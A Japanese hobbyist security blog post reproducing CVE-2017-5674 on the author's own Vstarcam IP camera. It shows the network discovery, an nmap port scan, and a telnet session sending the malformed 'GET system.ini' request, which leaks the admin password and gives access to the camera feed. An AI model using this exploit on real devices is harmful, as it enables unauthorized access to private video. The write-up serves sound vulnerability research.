satto1237’s diary

ラーメンとセキュリティが好きなのでそれ関係のことについて書きます

IoT: Webカメラで遊んだ話

はじめに

先日下記のツイートがTLに流れてきました.

CVE-2017-5674が遂にTVデビューしましたね (ちょっとテンションがあがった)
今回は二番煎じですがWebカメラCVE-2017-5674について色々と書いていきます(唐突).

Webカメラ

モデル

今回はVstarcam C7823WIP Mini WIFI IP Camera を使って検証していこうと思います.
上記の動画で扱っていたWebカメラも恐らくVstarcamだと思います.

www.vstarcam.com

ファームウェアのバージョン

f:id:satto1237:20190129014111p:plain

CVE-2017-5674

A vulnerability in a custom-built GoAhead web server used on Foscam, Vstarcam, and multiple white-label IP camera models allows an attacker to craft a malformed HTTP ("GET system.ini HTTP/1.1\n\n" - note the lack of "/" in the path field of the request) request that will disclose the configuration file with the login password.

nvd.nist.gov

CVE-2017-5674 とは 不正な形式のHTTPリクエストを送ることでVstarcamなどのIPカメラで使用されるGoAhead webサーバの設定ファイル(ログインパスワードを含む)が公開されてしまう脆弱性です.

検証

WebカメラIPアドレスの特定

> arp -a | grep 48:2:2c
? (192.168.2.3) at 48:2:2c:40:87:15 on en0 ifscope [ethernet]

WebカメラIPアドレス192.168.2.3であることが分かりました.

ポートスキャン

> nmap -p- -sV 192.168.2.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 01:50 JST
Nmap scan report for 192.168.2.3
Host is up (0.024s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE    VERSION
23/tcp    open  telnet     security DVR telnetd (many brands)
81/tcp    open  http       GoAhead WebServer
9600/tcp  open  tcpwrapped
10080/tcp open  amanda?
10554/tcp open  rtsp

Nmap done: 1 IP address (1 host up) scanned in 62.99 seconds

ポートスキャンの結果からGoAhead WebServer81/tcpで動いていることが分かりました.

補足
ファームウェアのバージョンが異なるモデルではhttpはランダムポートになっています.

81/tcpにアクセス

f:id:satto1237:20190129020229p:plain

ユーザ名とパスワードの入力を求めらます.

パスワードの漏洩

CVE-2017-5674の通りに不正なGETリクエストを送信して設定ファイルを漏洩させます.

> telnet 192.168.2.3 81
Trying 192.168.2.3...
Connected to 192.168.2.3.
Escape character is '^]'.

GET system.ini

HTTP/1.1 200 OK
Date: Mon Jan 28 17:06:13 2019
Server: GoAhead-Webs
Last-modified: Mon Jan 28 16:40:00 2019
Content-length: 4052
Content-type: text/plain
Cache-Control:no-cache
Connection: close

IPCAM������������������������������������������`0O\���time.nist.gov/




adminp4ssw0rd
~~~~������������������������������������������5W
�W
G
��
�j
R
:)VSTB000000ABCDE192.168.1.126Connection closed by foreign host.

admin, p4ssw0rdが降ってきました.

再度81/tcpにアクセス

f:id:satto1237:20190129022034p:plain

先程漏洩させたユーザ名とパスワードを使って81/tcpにアクセスしてみると管理画面が表示されました.

Sign in

適当にSign inするとカメラの映像が表示されます.

f:id:satto1237:20190129024340g:plain

その他

Vstarcam C7823WIP Mini WIFI IP CameraCVE-2017-5674以外にも面白い情報を提供してくれるので雑に紹介します.

初回起動時にユーザ名とデフォルトパスワードが平文で流れる
パケットキャプチャすると見えます.
f:id:satto1237:20190129030014p:plain

www[.]baidu[.]com
何のためかは分かりませんがiPhoneアプリから接続するとwww[.]baidu[.]comの名前解決をします.
AWSとの通信は何となく目的が分かるのですがbaiduとは何やってるんだろう? f:id:satto1237:20190129030803p:plain

まとめ

参考文献

動画の方の資料を参考にさせていただきました.

IoTSecJP ~製造と販売の問題~
http://ruffnex.net/iotsecjp/pdf/vuln.pdf

f:id:satto1237:20190129032000j:plain